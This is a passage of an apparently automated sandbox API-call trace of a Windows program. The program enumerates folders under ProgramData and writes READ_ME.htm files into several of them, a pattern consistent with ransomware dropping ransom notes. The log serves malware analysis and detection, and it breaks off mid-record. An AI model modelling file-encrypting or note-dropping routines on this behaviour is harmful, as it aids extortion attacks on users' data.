[0138.522] ReadFile (in: hFile=0x1d0, lpBuffer=0x285bc90, nNumberOfBytesToRead=0x70c1, lpNumberOfBytesRead=0x21d358, lpOverlapped=0x0 | out: lpBuffer=0x285bc90*, lpNumberOfBytesRead=0x21d358*=0x70c1, lpOverlapped=0x0) returned 1 [0138.525] CloseHandle (hObject=0x1d0) returned 1 [0138.616] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", nBufferLength=0x105, lpBuffer=0x21ce20, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png", lpFilePart=0x0) returned 0x61 [0138.616] SetErrorMode (uMode=0x1) returned 0x0 [0138.617] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\watermark.png"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffffffffffff [0138.619] SetErrorMode (uMode=0x0) returned 0x1 [0138.622] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm", lpFilePart=0x0) returned 0x5f [0138.623] SetErrorMode (uMode=0x1) returned 0x0 [0138.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{8702d817-5aad-4674-9ef3-4d3decd87120}\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0138.623] GetFileType (hFile=0x1d0) returned 0x1 [0138.623] SetErrorMode (uMode=0x0) returned 0x1 [0138.624] GetFileType (hFile=0x1d0) returned 0x1 [0138.624] WriteFile (in: hFile=0x1d0, lpBuffer=0x296a570*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x296a570*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0138.627] CloseHandle (hObject=0x1d0) returned 1 [0138.628] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\READ_ME.htm", lpFilePart=0x0) returned 0x38 [0138.628] SetErrorMode (uMode=0x1) returned 0x0 [0138.628] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\READ_ME.htm" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0138.629] GetFileType (hFile=0x1d0) returned 0x1 [0138.629] SetErrorMode (uMode=0x0) returned 0x1 [0138.629] GetFileType (hFile=0x1d0) returned 0x1 [0138.629] WriteFile (in: hFile=0x1d0, lpBuffer=0x296eb20*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x296eb20*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0138.631] CloseHandle (hObject=0x1d0) returned 1 [0138.631] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0138.632] SetErrorMode (uMode=0x1) returned 0x0 [0138.632] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0138.633] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0138.634] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0138.634] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.634] SetErrorMode (uMode=0x0) returned 0x1 [0138.635] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task", lpFilePart=0x0) returned 0x2a [0138.635] SetErrorMode (uMode=0x1) returned 0x0 [0138.635] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.635] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd98f9f8, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd98f9f8, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.636] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", cAlternateFileName="{07DEB~1")) returned 1 [0138.636] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 1 [0138.636] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd98f9f8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{e35be42d-f742-4d96-a50a-1775fb1a7a42}", cAlternateFileName="{E35BE~1")) returned 0 [0138.636] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.637] SetErrorMode (uMode=0x0) returned 0x1 [0138.637] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0138.637] SetErrorMode (uMode=0x1) returned 0x0 [0138.637] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.645] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0138.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0138.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0138.646] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0138.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0138.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0138.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0138.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0138.647] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0138.648] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0138.648] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 0 [0138.648] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0138.649] SetErrorMode (uMode=0x0) returned 0x1 [0138.649] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", lpFilePart=0x0) returned 0x51 [0138.650] SetErrorMode (uMode=0x1) returned 0x0 [0138.650] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0138.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d91b669, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0138.651] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0138.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1 [0138.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2db04ce, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2db04ce, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x72ee, dwReserved0=0x0, dwReserved1=0x0, cFileName="netfol.ico", cAlternateFileName="")) returned 1 [0138.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2ca5b43, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2ca5b43, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c10f535, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x14668, dwReserved0=0x0, dwReserved1=0x0, cFileName="pictures.ico", cAlternateFileName="")) returned 1 [0138.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c59889, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c59889, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1cdc0b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x536, dwReserved0=0x0, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 1 [0138.652] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2cf1dfd, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2cf1dfd, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xcaa9, dwReserved0=0x0, dwReserved1=0x0, cFileName="ringtones.ico", cAlternateFileName="")) returned 1 [0138.653] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d17f5a, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d17f5a, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c1f3d69, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x10850, dwReserved0=0x0, dwReserved1=0x0, cFileName="settings.ico", cAlternateFileName="")) returned 1 [0138.653] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d3e0b7, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d3e0b7, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc04b, dwReserved0=0x0, dwReserved1=0x0, cFileName="sync.ico", cAlternateFileName="")) returned 1 [0138.653] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c219ec7, ftCreationTime.dwHighDateTime=0x1c9ea0e, ftLastAccessTime.dwLowDateTime=0x7c219ec7, ftLastAccessTime.dwHighDateTime=0x1c9ea0e, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3473, dwReserved0=0x0, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 1 [0138.653] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c219ec7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b9f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="wmp.ico", cAlternateFileName="")) returned 1 [0138.653] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2d64214, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2d64214, ftLastAccessTime.dwHighDateTime=0x1ca0407, 